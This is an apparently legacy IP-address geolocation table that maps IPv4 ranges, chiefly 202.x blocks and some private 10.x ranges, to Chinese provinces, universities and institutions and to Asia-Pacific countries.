010.117.000.000__010.122.255.255__江西____

010.123.000.000__010.130.255.255__广东____

010.131.000.000__010.136.255.255__海南____

010.137.000.000__010.142.255.255__广西____

010.143.000.000__010.149.255.255__四川____

010.157.000.000__010.161.255.255__贵州____

010.162.000.000__010.166.255.255__云南____

010.172.000.000__010.178.255.255__陕西____

010.167.000.000__010.171.255.255__西藏____

010.068.000.000__010.073.255.255__河南____

010.199.000.000__010.253.255.255__香港____

010.095.000.000__010.102.255.255__上海____

010.002.000.000__010.009.255.255__北京____

010.150.000.000__010.156.255.255__重庆____

010.000.000.000__010.255.255.255__未知地区____

202.113.216.000__202.113.223.255__天津美术学院____

202.113.224.000__202.113.239.255__南开大学____

202.113.242.000__202.113.243.255__天津经济技术开发区国际学校____

202.113.244.000__202.113.245.255__天津市第一中学____

202.113.248.000__202.113.255.255__中国医学科学院____

202.114.000.000__202.114.031.255__华中理工大学____

202.114.032.000__202.114.047.255__华中师范大学____

202.114.045.000__202.114.045.255__华中师范大学第一附属中学____

202.114.048.000__202.114.063.255__武汉汽车工业大学____

202.114.064.000__202.114.079.255__武汉大学____

202.114.080.000__202.114.095.255__武汉工业大学____

202.114.096.000__202.114.111.255__武汉水利水电大学____

202.114.112.000__202.114.127.255__武汉测绘科技大学____

202.114.128.000__202.114.143.255__同济医药大学____

202.114.144.000__202.114.159.255__湖北大学____

202.114.160.000__202.114.175.255__武汉交通科技大学____

202.114.176.000__202.114.191.255__湖北工业大学____

202.114.192.000__202.114.207.255__中国地质大学____

202.114.208.000__202.114.211.255__武汉邮电研究所____

202.114.212.000__202.114.215.255__华中理工大学____

202.114.216.000__202.114.223.255__襄樊大学____

202.114.224.000__202.114.239.255__中南财经大学____

202.114.240.000__202.114.255.255__武汉科技大学____

202.115.000.000__202.115.031.255__电子科技大学____

202.115.032.000__202.115.047.255__四川联合大学____

202.115.048.000__202.115.063.255__成都科技大学____

202.115.064.000__202.115.079.255__西南交通大学____

202.115.080.000__202.115.095.255__成都大学____

202.115.096.000__202.115.111.255__华西医科大学____

202.115.112.000__202.115.127.255__西南财经大学____

202.115.128.000__202.115.143.255__成都理工学院____

202.115.144.000__202.115.159.255__四川工业学院____

202.115.160.000__202.115.175.255__西南工学院____

202.115.176.000__202.115.191.255__四川农业大学____

202.115.192.000__202.115.207.255__四川师范大学____

202.115.208.000__202.115.255.255__四川____

202.116.000.000__202.116.031.255__广州暨南大学____

202.116.032.000__202.116.047.255__华南师范大学____

202.116.048.000__202.116.063.255__广东商学院____

202.116.064.000__202.116.095.255__中山大学____

202.116.096.000__202.116.111.255__孙中山医科大学____

202.116.112.000__202.116.127.255__中山医科大学____

202.116.128.000__202.116.143.255__广东工学院____

202.116.144.000__202.116.159.255__广东机械工程学院____

202.116.160.000__202.116.175.255__华南农业大学____

202.116.176.000__202.116.191.255__华南农业大学____

202.116.192.000__202.116.207.255__广东外语外贸大学____

202.116.208.000__202.116.223.255__广州外贸学院____

202.116.224.000__202.116.239.255__广东____

202.116.240.000__202.116.255.255__海南师范大学____

202.117.000.000__202.117.063.255__西安交通大学____

202.117.064.000__202.117.079.255__西安公路大学____

202.117.080.000__202.117.095.255__西北工业大学____

202.117.096.000__202.117.111.255__西北大学____

202.117.112.000__202.117.127.255__西安电子科技大学____

202.117.128.000__202.117.143.255__西安邮电学院____

202.117.144.000__202.117.159.255__陕西师范大学____

202.117.160.000__202.117.175.255__西安医科大学____

202.117.176.000__202.117.191.255__西北农业大学____

202.117.192.000__202.117.199.255__陕西教育学院____

202.117.200.000__202.117.207.255__陕西财经学院____

202.117.208.000__202.117.223.255__西北师范大学____

202.117.224.000__202.117.227.255__西安电力高等专科学校____

202.117.228.000__202.117.231.255__陕西信息安全技术研究所____

202.117.232.000__202.117.239.255__西北税务学校____

202.118.000.000__202.118.031.255__东北大学____

202.118.032.000__202.118.039.255__沈阳技术研究所____

202.118.040.000__202.118.047.255__中国医药大学____

202.118.048.000__202.118.063.255__辽宁大学____

202.118.064.000__202.118.079.255__大连理工大学____

202.118.080.000__202.118.095.255__大连海事大学____

202.118.112.000__202.118.115.255__辽宁东北育才中学____

202.118.116.000__202.118.119.255__沈阳电力学院____

202.118.120.000__202.118.127.255__抚顺石油学院____

202.118.128.000__202.118.143.255__哈尔滨师范大学____

202.118.144.000__202.118.159.255__黑龙江省科委____

202.118.160.000__202.118.167.255__东北农业大学____

202.118.168.000__202.118.171.255__黑龙江____

202.118.176.000__202.118.191.255__哈尔滨工程大学____

202.118.192.000__202.118.207.255__哈尔滨理工大学____

202.118.208.000__202.118.223.255__东北林业大学____

202.118.224.000__202.118.239.255__哈尔滨工业大学____

202.119.000.000__202.119.031.255__石油大学____

202.119.032.000__202.119.063.255__南京大学____

202.119.064.000__202.119.079.255__南京航空航天大学____

202.119.080.000__202.119.095.255__南京理工大学____

202.119.096.000__202.119.111.255__南京师范大学____

202.119.112.000__202.119.127.255__河海大学____

202.119.128.000__202.119.131.255__江苏____

202.119.132.000__202.119.132.255__常州刘国钧职业教育中心____

202.119.133.000__202.119.133.255__南京晓庄师范学校____

202.119.134.000__202.119.135.255__江苏____

202.119.136.000__202.119.143.255__盐城工学院____

202.119.144.000__202.119.159.255__南京铁道医学院____

202.119.160.000__202.119.167.255__南京电力高等专科学校____

202.119.168.000__202.119.171.255__江苏省常州工业学校____

202.119.172.000__202.119.175.255__江苏省教育委员会____

202.119.176.000__202.119.191.255__中国药科大学____

202.119.192.000__202.119.207.255__中国矿业大学____

202.119.208.000__202.119.223.255__南京林业大学____

202.119.224.000__202.119.239.255__南京邮电大学____

202.119.240.000__202.119.255.255__南京化工大学____

202.120.000.000__202.120.063.255__上海交通大学____

202.120.064.000__202.120.079.255__上海医药大学____

202.120.080.000__202.120.095.255__华东师范大学____

202.120.096.000__202.120.111.255__华东理工大学____

202.120.112.000__202.120.127.255__上海大学____

202.120.128.000__202.120.143.255__上海第二医药大学____

202.120.144.000__202.120.159.255__中国纺织大学____

202.120.160.000__202.120.175.255__上海铁道大学____

202.120.176.000__202.120.191.255__同济大学____

202.120.192.000__202.120.203.255__上海____

202.120.204.000__202.120.207.255__华东理工大学石油化工学院____

202.120.208.000__202.120.223.255__华东工业大学____

202.120.224.000__202.120.255.255__复旦大学____

202.121.000.000__202.121.015.255__上海____

202.121.020.000__202.121.023.255__上海公安高等专科学校____

202.121.028.000__202.121.031.255__上海海关高等专科学校____

202.121.032.000__202.121.047.255__上海中医药大学____

202.121.048.000__202.121.063.255__上海师范大学____

202.121.064.000__202.121.079.255__上海水产大学____

202.121.080.000__202.121.095.255__上海电视大学____

202.121.096.000__202.121.111.255__上海国际研究大学____

202.121.112.000__202.121.127.255__上海工程大学____

202.121.128.000__202.121.143.255__上海财经大学____

202.121.144.000__202.121.147.255__上海纺织高等专科学校____

202.121.148.000__202.121.151.255__上海市教育考试院____

202.121.160.000__202.121.167.255__华东政法学院____

202.121.168.000__202.121.175.255__杉达大学____

202.121.176.000__202.121.183.255__上海农学院____

202.121.192.000__202.121.199.255__上海有线电视台____

202.121.208.000__202.121.223.255__上海海事大学____

202.121.224.000__202.121.239.255__第二军医大学____

202.121.240.000__202.121.243.255__上海第二工业大学____

202.121.244.000__202.121.247.255__上海旅游高等专科学校____

202.121.248.000__202.121.251.255__上海医学高等专科学校____

202.121.252.000__202.121.255.255__上海金融高等专科学校____

202.122.000.000__202.122.007.255__复旦大学____

202.122.032.000__202.122.039.255__北京____

202.122.128.000__202.122.128.255__北京____

202.127.000.000__202.127.001.255__上海____

202.127.012.000__202.127.015.255__江苏____

202.127.016.001__202.127.031.255__上海____

202.127.040.000__202.127.047.255__北京____

202.127.200.000__202.127.207.255__安徽____

202.128.000.000__202.128.095.255__关岛____

202.130.003.000__202.130.003.255__北京____

202.130.008.000__202.130.008.255__广东____

202.130.026.000__202.130.026.255__陕西____

202.130.029.000__202.130.029.255__黑龙江____

202.130.000.000__202.130.031.255__中国____

202.130.033.000__202.130.033.255__陕西____

202.130.064.000__202.130.159.255__香港____

202.130.226.000__202.130.247.255__北京____

202.130.248.000__202.130.249.255__上海____

202.130.224.000__202.130.255.255__中国____

202.131.000.000__202.131.255.255__蒙古____

202.132.000.000__202.133.255.255__APNIC____

202.134.000.000__202.134.031.255__菲律宾____

202.134.128.000__202.134.159.255__印度____

202.134.224.000__202.134.255.255__菲律宾____

202.135.000.000__202.135.255.255__APNIC____

202.136.000.000__202.136.127.255__菲律宾____

202.136.252.000__202.136.255.255__中国____

202.137.000.000__202.137.031.255__印度尼西亚____

202.137.064.000__202.137.095.255__澳大利亚____

202.137.128.000__202.137.159.255__老挝____

202.137.224.000__202.137.255.255__马来西亚____

202.138.000.000__202.138.063.255__澳大利亚____

202.138.128.000__202.138.159.255__菲律宾____

202.138.224.000__202.138.255.255__印度尼西亚____

202.139.000.000__202.139.063.255__澳大利亚____

202.139.192.000__202.139.207.255__日本____

202.139.224.000__202.139.255.255__澳大利亚____

202.140.000.000__202.140.031.255__日本____

202.140.096.000__202.140.127.255__香港____

202.140.128.000__202.140.159.255__印度____

202.140.224.000__202.140.255.255__澳大利亚____

202.141.000.000__202.143.031.255__印度____

202.143.064.000__202.143.095.255__澳大利亚____

202.144.000.000__202.144.063.255__印度____

202.144.128.000__202.144.159.255__不丹____

202.144.160.000__202.144.191.255__印度____

202.144.224.000__202.144.255.255__香港____

202.145.000.000__202.145.031.255__印度尼西亚____

202.145.032.000__202.145.255.255__台湾____

202.146.000.000__202.146.031.255__印度尼西亚____

202.146.096.000__202.146.127.255__香港____

202.146.128.000__202.146.255.255__印度尼西亚____

202.147.000.000__202.147.159.255__澳大利亚____

202.147.224.000__202.148.031.255__印度尼西亚____

202.148.064.000__202.148.095.255__澳大利亚____

202.148.128.000__202.148.191.255__新西兰____

202.149.001.000__202.152.255.255__印度尼西亚____

202.153.000.000__202.153.255.255__泰国____

202.154.000.000__202.159.255.255__印度尼西亚____

202.160.000.000__202.160.063.255__文莱达鲁萨兰国____

202.160.064.000__202.160.095.255__台湾____

202.160.224.000__202.160.255.255__新加坡____

202.161.000.000__202.161.127.255__澳大利亚____

202.161.128.000__202.161.159.255__APNIC____

202.161.224.000__202.161.255.255__香港____

202.162.000.000__202.162.031.255__马来西亚____

202.162.064.000__202.162.095.255__台湾____

202.162.128.000__202.162.255.255__印度____

202.163.000.000__202.163.031.255__香港____

202.163.096.000__202.163.127.255__巴基斯坦____

202.163.128.000__202.163.159.255__澳大利亚____

202.163.224.000__202.163.255.255__菲律宾____

202.164.000.000__202.164.031.255__印度尼西亚____

202.164.096.000__202.164.127.255__印度____

202.164.128.000__202.164.159.255__菲律宾____

202.164.224.000__202.165.159.255__澳大利亚____

202.165.224.000__202.165.255.255__巴基斯坦____

202.166.000.000__202.166.063.255__新加坡____

202.166.192.000__202.166.255.255__台湾____

202.167.000.000__202.167.255.255__APNIC____

202.168.000.000__202.168.031.255__菲律宾____

202.168.096.000__202.168.159.255__澳大利亚____

202.168.224.000__202.168.255.255__孟加拉国____

202.169.000.000__202.169.031.255__香港____

202.169.064.000__202.169.159.255__印度____

202.169.224.000__202.169.255.255__新加坡____

202.170.000.000__202.170.031.255__香港____

202.170.064.000__202.170.095.255__蒙古____

202.170.128.000__202.170.159.255__印度____

202.170.224.000__202.170.255.255__印度尼西亚____

202.171.000.000__202.175.255.255__澳门____

202.176.000.000__202.176.000.031__新加坡____

202.176.000.032__202.176.003.255__日本____

202.177.000.000__202.177.031.255__香港____

202.177.064.000__202.177.095.255__澳大利亚____

202.177.128.000__202.177.255.255__印度____

202.178.000.000__202.178.063.255__马来西亚____

202.178.224.000__202.178.255.255__台湾____

202.179.000.000__202.179.031.255__蒙古____

202.179.064.000__202.179.095.255__印度____

202.179.128.000__202.179.159.255__巴基斯坦____

202.179.224.000__202.179.255.255__澳大利亚____

202.180.000.000__202.180.031.255__印度尼西亚____

202.180.224.000__202.181.031.255__澳大利亚____

202.181.224.000__202.181.255.255__香港____

202.182.000.000__202.182.031.255__泰国____

202.182.064.000__202.182.095.255__澳大利亚____

202.182.224.000__202.182.255.255__香港____

202.183.000.000__202.183.031.255__印度尼西亚____

202.183.192.000__202.183.255.255__泰国____

202.184.000.000__202.191.255.255__马来西亚____

202.192.000.000__202.192.015.255__中国教育网____

202.192.016.000__202.192.031.255__广州大学____

202.192.032.000__202.192.047.255__广州师范学院____

202.192.064.000__202.192.071.255__广州教育学院____

202.192.112.000__202.192.127.255__广东医学院____

202.192.128.000__202.192.143.255__湛江师范学院____

202.192.144.000__202.192.159.255__汕头大学____

202.192.160.000__202.192.175.255__佛山大学____

202.192.176.000__202.192.179.255__广东____

202.192.192.000__202.192.199.255__东莞技术学院____

202.192.208.000__202.192.223.255__东莞技术培训学院____

202.192.224.000__202.192.239.255__惠州大学____

202.192.240.000__202.192.255.255__五邑大学____

202.193.000.000__202.193.015.255__广西大学____

202.193.064.000__202.193.079.255__桂林电子工业学院____

202.193.104.000__202.193.111.255__桂林市师范学校____

202.193.112.000__202.193.127.255__桂林经管学院____

202.193.128.000__202.193.143.255__桂林旅游学院____

202.193.144.000__202.193.159.255__广西____

202.193.160.000__202.193.175.255__广西师范大学____

202.193.176.000__202.193.191.255__广西技术学院____

202.193.192.000__202.193.207.255__桂林医学院____

202.193.208.000__202.193.223.255__桂林师范学院____

202.193.224.000__202.193.239.255__桂林市教育学院____

202.193.240.000__202.193.255.255__桂林少数民族师范学校____

202.194.000.000__202.194.031.255__山东大学____

202.194.032.000__202.194.047.255__青岛海洋大学____

202.194.064.000__202.194.079.255__山东建材学院____

202.194.080.000__202.194.095.255__山东建筑工程学院____

202.194.112.000__202.194.127.255__烟台大学____

202.194.128.000__202.194.143.255__山东农业大学____

202.194.144.000__202.194.159.255__华东石油大学____

202.194.176.000__202.194.191.255__曲阜师范大学____

202.194.192.000__202.194.207.255__山东工业大学____

202.194.240.000__202.194.255.255__合肥工业大学____

202.195.048.000__202.195.063.255__扬州大学____

202.195.096.000__202.195.103.255__江苏石油学院____

202.195.112.000__202.195.127.255__南京通信工程学院____

202.195.128.000__202.195.143.255__苏州大学____

202.195.144.000__202.195.159.255__无锡轻工业学院____

202.195.160.000__202.195.175.255__江苏理工大学____

202.195.176.000__202.195.191.255__南京医科大学____

202.195.192.000__202.195.207.255__华东船舶工业学院____

202.195.208.000__202.195.215.255__南京中医药大学____

202.195.224.000__202.195.239.255__南京气象学院____

202.195.240.000__202.195.255.255__南京农业大学____

202.196.000.000__202.196.015.255__郑州轻工业学院____

202.196.016.000__202.196.031.255__郑州粮食学院____

202.196.032.000__202.196.047.255__郑州纺织学院____

202.196.048.000__202.196.063.255__郑州电子工业学院____

202.196.064.000__202.196.079.255__郑州大学____

202.196.096.000__202.196.111.255__河南大学____

202.196.240.000__202.196.255.255__安阳师范专科学校____

202.197.000.000__202.197.015.255__国防大学____

202.197.016.000__202.197.023.255__长沙工学院____

202.197.032.000__202.197.047.255__长沙铁道学院____

202.197.048.000__202.197.063.255__长沙工业高等专科学校____

202.197.064.000__202.197.079.255__中南工业大学____

202.197.080.000__202.197.095.255__湖南医科大学____

202.197.096.000__202.197.111.255__湖南大学____

202.197.112.000__202.197.127.255__湖南师范大学____

202.197.128.000__202.197.143.255__长江水利委员会____

202.197.144.000__202.197.159.255__湖北教育学院____

202.197.160.000__202.197.175.255__武汉钢铁公司____

202.197.176.000__202.197.191.255__郑州工业大学____

202.197.192.000__202.197.207.255__郑州电力学院____

202.197.208.000__202.197.223.255__黄河科技大学____

202.197.224.000__202.197.239.255__湘潭大学____

202.197.240.000__202.197.247.255__湘潭机电高等专科学校____

202.197.248.000__202.197.255.255__湘潭矿业学院____

202.198.016.000__202.198.031.255__吉林大学____

202.198.032.000__202.198.047.255__吉林工业大学____

202.198.064.000__202.198.079.255__哈尔滨建筑大学____

202.198.080.000__202.198.087.255__哈尔滨医科大学____

202.198.096.000__202.198.111.255__黑龙江大学____

202.198.112.000__202.198.119.255__大庆职工大学____

202.198.128.000__202.198.143.255__东北师范大学____

202.198.144.000__202.198.159.255__长春地质大学____

202.198.160.000__202.198.175.255__长春邮电学院____

202.198.192.000__202.198.207.255__延边大学____

202.198.208.000__202.198.223.255__延边农学院____

202.198.240.000__202.198.255.255__延边大学____

202.199.024.000__202.199.031.255__沈阳航空工程研究所____

202.199.032.000__202.199.047.255__沈阳大学____

202.199.048.000__202.199.055.255__沈阳技术学院____

202.199.056.000__202.199.063.255__沈阳财经大学____

202.199.064.000__202.199.079.255__沈阳建筑工程学院____

202.199.080.000__202.199.087.255__沈阳药科大学____

202.199.096.000__202.199.111.255__沈阳工业大学____

202.199.112.000__202.199.119.255__沈阳化工学院____

202.199.128.000__202.199.143.255__大连铁道学院____

202.199.144.000__202.199.159.255__大连大学____

202.199.160.000__202.199.175.255__东北财经大____

202.199.176.000__202.199.183.255__辽宁税务高等专科学校____

202.199.184.000__202.199.187.255__辽宁交通高等专科学校____

202.199.192.000__202.199.193.255__辽宁____

202.199.212.000__202.199.215.255__辽宁省邮电学校____

202.199.216.000__202.199.223.255__辽宁营口大学____

202.199.224.000__202.199.239.255__辽宁工程技术大学____

202.199.240.000__202.199.247.255__辽宁____

202.199.248.000__202.199.255.255__鞍山师范学院____

202.200.032.000__202.200.047.255__第四军医大学____

202.200.064.000__202.200.079.255__西北轻工业学院____

202.200.080.000__202.200.095.255__西安石油学院____

202.200.096.000__202.200.111.255__西安工业学院____

202.200.112.000__202.200.127.255__西安理工大学____

202.200.128.000__202.200.135.255__西安____

202.200.144.000__202.200.159.255__西安建筑科技大学____

202.201.000.000__202.201.015.255__兰州大学____

202.201.016.000__202.201.031.255__兰州铁道学院____

202.201.080.000__202.201.080.255__广东____

202.201.128.000__202.201.143.255__宁夏大学____

202.201.240.000__202.201.255.255__新疆大学____

202.202.016.000__202.202.031.255__华西医科大学____

202.202.032.000__202.202.047.255__重庆邮电学院____

202.202.048.000__202.202.055.255__成都技术学院____

202.202.064.000__202.202.079.255__成都科技大学____

202.202.080.000__202.202.095.255__成都地质学院____

202.202.240.000__202.202.255.255__重庆交通大学____

202.203.000.000__202.203.015.255__贵州大学____

202.203.016.000__202.203.031.255__贵州工学院____

202.203.160.000__202.203.175.255__昆明工学院____

202.203.176.000__202.203.191.255__云南农业大学____

202.203.192.000__202.203.207.255__云南财经学院____

202.203.208.000__202.203.223.255__云南大学____

202.203.224.000__202.203.239.255__云南师范大学____

202.203.240.000__202.203.255.255__云南工业大学____

202.204.015.000__202.204.015.255__北京____

202.204.016.000__202.204.019.255__中国工运学院____

202.204.024.000__202.204.027.255__北方工业大学____

202.204.028.000__202.204.031.255__北京联合大学机械工程学院____

202.204.032.000__202.204.047.255__北京中医药大学____

202.204.048.000__202.204.063.255__北京科技大学____

202.204.064.000__202.204.079.255__华北电力大学____

202.204.080.000__202.204.095.255__北京理工大学____

202.204.096.000__202.204.111.255__中国地质大学____

202.204.112.000__202.204.127.255__北京林业大学____

202.204.144.000__202.204.159.255__首都经贸大学____

202.204.248.000__202.204.255.255__中国林业科学院____

202.205.176.000__202.205.191.255__北京____

202.205.240.000__202.205.243.255__北京北方商业学院____

202.205.244.000__202.205.255.255__北京____

202.206.000.000__202.206.015.255__河北大学____

202.206.016.000__202.206.023.255__东北大学秦皇岛分校____

202.206.024.000__202.206.031.255__河北政法管理干部学院____

202.206.032.000__202.206.047.255__石家庄铁道学院____

202.206.048.000__202.206.063.255__河北医科大学____

202.206.064.000__202.206.079.255__河北科技大学____

202.206.080.000__202.206.095.255__石家庄市大学____

202.206.096.000__202.206.111.255__河北师范大学____

202.206.112.000__202.206.113.255__石家庄市第二中学____

202.206.114.000__202.206.115.255__石家庄市外国语学校____

202.206.116.000__202.206.119.255__河北教委____

202.206.120.000__202.206.127.255__河北科技大学____

202.206.128.000__202.206.143.255__军械工程学院____

202.206.144.000__202.206.159.255__石家庄经济学院____

202.206.160.000__202.206.175.255__河北建筑科技学院____

202.206.176.000__202.206.191.255__中国人民武装警察部队学院____

202.206.192.000__202.206.207.255__河北经贸大学____

202.206.208.000__202.206.223.255__华北电力大学____

202.206.224.000__202.206.239.255__承德民族师范专科学校____

202.206.240.000__202.206.255.255__燕山大学____

202.207.000.000__202.207.015.255__内蒙古大学____

202.207.016.000__202.207.031.255__内蒙古工业大学____

202.207.032.000__202.207.047.255__内蒙古工业大学电力学院____

202.207.048.000__202.207.063.255__内蒙古农业大学____

202.207.064.000__202.207.079.255__内蒙古教委____

202.207.120.000__202.207.127.255__石家庄邮电学院____

202.207.128.000__202.207.131.255__山西____

202.207.160.000__202.207.175.255__山西师范大学____

202.207.176.000__202.207.191.255__华北工学院____

202.207.192.000__202.207.207.255__山西医科大学____

202.207.208.000__202.207.223.255__山西大学____

202.207.224.000__202.207.231.255__山西长治医学院____

202.207.232.000__202.207.239.255__山西科委____

202.207.240.000__202.207.255.255__太原工业大学____

202.192.000.000__202.207.255.255__中国教育网____

202.208.000.000__202.255.255.255__日本____

202.103.102.128__202.103.127.255__湖南____

202.103.128.000__202.103.191.255__广东____

202.103.192.000__202.103.255.255__广西____

202.104.000.000__202.105.255.255__广东____

202.106.000.000__202.106.255.255__北京____

202.107.006.000__202.107.100.255__辽宁____

202.107.144.000__202.107.159.255__新疆____

202.107.192.000__202.107.255.255__浙江____

202.108.000.000__202.108.255.255__北京____

202.109.000.000__202.109.127.255__上海____

202.109.128.000__202.109.191.255__江西____

202.109.192.000__202.109.255.255__福建____

202.110.000.000__202.110.063.255__辽宁____

202.110.064.000__202.110.127.255__河南____

202.110.128.000__202.110.191.255__湖北____

202.110.192.000__202.110.255.255__山东____

202.111.000.000__202.111.127.255__江苏____

202.111.128.000__202.111.159.255__河南____

202.111.160.000__202.111.191.255__吉林____

202.111.192.000__202.111.223.255__安徽____

202.112.008.000__202.112.008.255__北京大学____

202.112.000.000__202.112.031.255__中国教育网____

202.112.032.000__202.112.039.255__北京____

202.112.040.000__202.112.047.255__上海____

202.112.048.000__202.112.055.255__广东____

202.112.056.000__202.112.063.255__北京____

202.112.064.000__202.112.079.255__北京工业大学____

202.112.080.000__202.112.095.255__北京师范大学____

202.112.096.000__202.112.111.255__北京邮电学院____

202.112.112.000__202.112.127.255__中国人民大学____

202.112.128.000__202.112.143.255__北京航空航天大学____

202.112.144.000__202.112.159.255__北方交通大学____

202.112.160.000__202.112.175.255__北京农业大学____

202.112.176.000__202.112.191.255__北京医药大学____

202.112.192.000__202.112.207.255__北京语言文化大学____

202.112.208.000__202.112.215.255__中国矿业大学北京研究生部____

202.112.216.000__202.112.243.255__北京____

202.112.248.000__202.112.255.255__中国图书馆____

202.113.000.000__202.113.015.255__天津大学____

202.113.016.000__202.113.031.255__南开大学____

202.113.032.000__202.113.047.255__中国民用航空学院____

202.113.048.000__202.113.063.255__天津医科大学____

202.113.064.000__202.113.079.255__天津理工学院____

202.113.080.000__202.113.087.255__天津商学院____

202.113.088.000__202.113.095.255__天津城市建设学院____

202.113.096.000__202.113.111.255__天津师范大学____

202.113.112.000__202.113.127.255__河北工业大学____

202.113.128.000__202.113.143.255__天津财经学院____

202.113.144.000__202.113.159.255__天津广播电视大学____

202.113.160.000__202.113.163.255__天津____

202.113.168.000__202.113.175.255__天津中医学院____

202.113.176.000__202.113.191.255__天津大学____

202.113.192.000__202.113.207.255__武警指挥学院____

202.113.208.000__202.113.215.255__天津商学院____

202.101.105.160__202.101.155.255__福建____

202.101.160.000__202.101.191.255__浙江____

202.101.196.000__202.101.197.255__江西____

202.101.209.000__202.101.209.255__华东交通大学____

202.101.212.000__202.101.212.255__华东地质学院____

202.101.192.000__202.101.255.255__江西____

202.102.000.000__202.102.127.255__江苏____

202.102.132.000__202.102.190.255__山东____

202.102.192.000__202.102.223.255__安徽____

202.102.224.000__202.102.255.255__河南____

202.103.000.000__202.103.063.255__湖北____

202.103.064.000__202.103.127.255__湖南____

202.096.133.000__202.096.191.255__广东____

202.096.192.000__202.096.255.255__上海____

202.097.026.000__202.097.028.255__北京____

202.097.030.000__202.097.030.255__陕西____

202.097.128.000__202.097.159.255__山西____

202.097.160.000__202.097.191.255__辽宁____

202.097.192.000__202.097.255.255__黑龙江____

202.098.000.000__202.098.031.255__吉林____

202.098.032.000__202.098.063.255__重庆____

202.098.064.000__202.098.095.255__云南____

202.098.096.000__202.098.159.255__四川____

202.098.160.000__202.098.191.255__云南____

202.098.192.000__202.098.223.255__贵州____

202.098.224.000__202.098.255.255__西藏____

202.099.000.000__202.099.063.255__北京____

202.099.064.000__202.099.127.255__天津____

202.099.130.000__202.099.191.255__河北____

202.099.192.000__202.099.223.255__山西____

202.099.224.000__202.099.255.255__内蒙古____

202.100.000.000__202.100.063.255__陕西____

202.100.064.000__202.100.095.255__甘肃____

202.100.096.000__202.100.127.255__宁夏____

202.100.128.000__202.100.159.255__青海____

202.100.160.000__202.100.191.255__新疆____

202.100.192.000__202.100.223.255__海南____

202.101.000.000__202.101.063.255__上海____

202.101.064.000__202.101.095.255__贵州____

202.101.096.000__202.101.159.255__福建____

202.038.168.000__202.038.170.255__北京____

202.038.171.000__202.038.172.255__广东____

202.038.173.000__202.038.173.255__辽宁____

202.038.174.000__202.038.176.255__北京____

202.038.192.000__202.038.255.255__华南理工大学____

202.039.000.000__202.039.255.255__台湾____

202.040.000.000__202.040.255.255__香港____

202.041.000.000__202.041.255.255__印度____

202.042.000.000__202.042.255.255__新加坡____

202.043.000.000__202.043.031.255__阿联酋____

202.043.032.000__202.043.063.255__印度____

202.043.064.000__202.043.095.255__台湾____

202.043.128.000__202.043.159.255__菲律宾____

202.043.224.000__202.043.255.255__印度尼西亚____

202.044.000.000__202.044.255.255__泰国____

202.045.000.000__202.045.255.255__香港____

202.046.000.000__202.046.031.255__印度尼西亚____

202.046.032.000__202.046.063.255__澳大利亚____

202.046.064.000__202.046.255.255__印度尼西亚____

202.047.000.000__202.047.031.255__菲律宾____

202.047.032.000__202.047.063.255__澳大利亚____

202.047.096.000__202.047.141.255__菲律宾____

202.047.248.000__202.047.255.255__泰国____

202.048.000.000__202.048.255.255__日本____

202.049.000.000__202.050.255.255__新西兰____

202.051.000.000__202.051.031.255__尼泊尔____

202.051.032.000__202.051.063.255__印度____

202.051.128.000__202.051.159.255__斯里兰卡____

202.051.192.000__202.051.255.255__印度尼西亚____

202.052.000.000__202.052.031.255__尼泊尔____

202.052.064.000__202.052.127.255__台湾____

202.052.128.000__202.052.159.255__香港____

202.052.224.000__202.053.031.255__尼泊尔____

202.053.032.000__202.053.063.255__澳大利亚____

202.053.128.000__202.053.159.255__香港____

202.053.224.000__202.053.255.255__印度尼西亚____

202.054.000.000__202.056.031.255__印度____

202.056.096.000__202.056.127.255__菲律宾____

202.056.224.000__202.057.031.255__印度____

202.057.032.000__202.057.127.255__菲律宾____

202.057.128.000__202.057.159.255__泰国____

202.057.224.000__202.057.255.255__香港____

202.058.000.000__202.058.031.255__老挝____

202.058.096.000__202.058.127.255__菲律宾____

202.058.128.000__202.058.159.255__巴布亚新几内亚____

202.058.224.000__202.058.255.255__菲律宾____

202.059.000.000__202.059.031.255__汤加____

202.059.032.000__202.059.063.255__澳大利亚____

202.059.128.000__202.059.159.255__菲律宾____

202.059.224.000__202.059.255.255__泰国____

202.060.000.000__202.060.031.255__毛里求斯____

202.060.064.000__202.060.095.255__台湾____

202.060.128.000__202.060.159.255__印度____

202.060.224.000__202.060.255.255__香港____

202.061.000.000__202.061.031.255__巴布亚新几内亚____

202.061.032.000__202.061.063.255__台湾____

202.061.064.000__202.061.095.255__菲律宾____

202.061.192.000__202.061.255.255__澳大利亚____

202.062.000.000__202.062.127.255__斐济____

202.062.128.000__202.062.159.255__澳大利亚____

202.062.224.000__202.062.255.255__斐济____

202.063.000.000__202.063.031.255__香港____

202.063.096.000__202.063.127.255__印度____

202.063.128.000__202.063.159.255__香港____

202.063.224.000__202.063.255.255__所罗门群岛____

202.064.000.000__202.065.031.255__香港____

202.065.064.000__202.065.095.255__澳大利亚____

202.065.128.000__202.065.159.255__印度____

202.065.224.000__202.074.031.255__香港____

202.074.032.000__202.074.063.255__泰国____

202.074.128.000__202.074.159.255__澳大利亚____

202.074.224.000__202.075.095.255__香港____

202.075.128.000__202.075.159.255__马来西亚____

202.075.224.000__202.076.127.255__香港____

202.076.128.000__202.076.159.255__澳大利亚____

202.076.224.000__202.078.031.255__香港____

202.078.064.000__202.078.095.255__菲律宾____

202.078.128.000__202.078.159.255__新西兰____

202.078.224.000__202.079.031.255__香港____

202.079.032.000__202.079.063.255__尼泊尔____

202.079.128.000__202.079.159.255__菲律宾____

202.079.224.000__202.080.031.255__香港____

202.080.064.000__202.080.095.255__澳大利亚____

202.080.128.000__202.080.159.255__台湾____

202.080.224.000__202.080.255.255__泰国____

202.081.000.000__202.089.255.255__香港____

202.090.000.000__202.090.007.255__广东____

202.091.000.000__202.091.131.255__北京____

202.092.000.000__202.092.003.255__江苏____

202.092.252.000__202.092.255.255__北京____

202.093.000.000__202.093.003.255__广东____

202.093.110.000__202.093.110.255__辽宁____

202.093.252.000__202.093.255.255__北京____

202.094.000.000__202.094.031.255__中网____

202.095.000.000__202.095.003.255__东方环讯____

202.095.001.000__202.095.001.255__四川____

202.095.002.000__202.095.003.255__上海____

202.095.252.000__202.095.255.255__中国____

202.096.000.000__202.096.038.255__北京____

202.096.044.000__202.096.044.255__北京____

202.096.049.000__202.096.051.255__北京____

202.096.064.000__202.096.095.255__辽宁____

202.096.096.000__202.096.127.255__浙江____

202.096.128.000__202.096.191.255__广东____

202.001.006.000__202.001.007.255__香港____

202.001.008.000__202.001.015.255__新西兰____

202.001.016.000__202.001.031.255__澳大利亚____

202.001.032.000__202.001.063.255__巴布亚新几内亚____

202.001.064.000__202.001.159.255__新加坡____

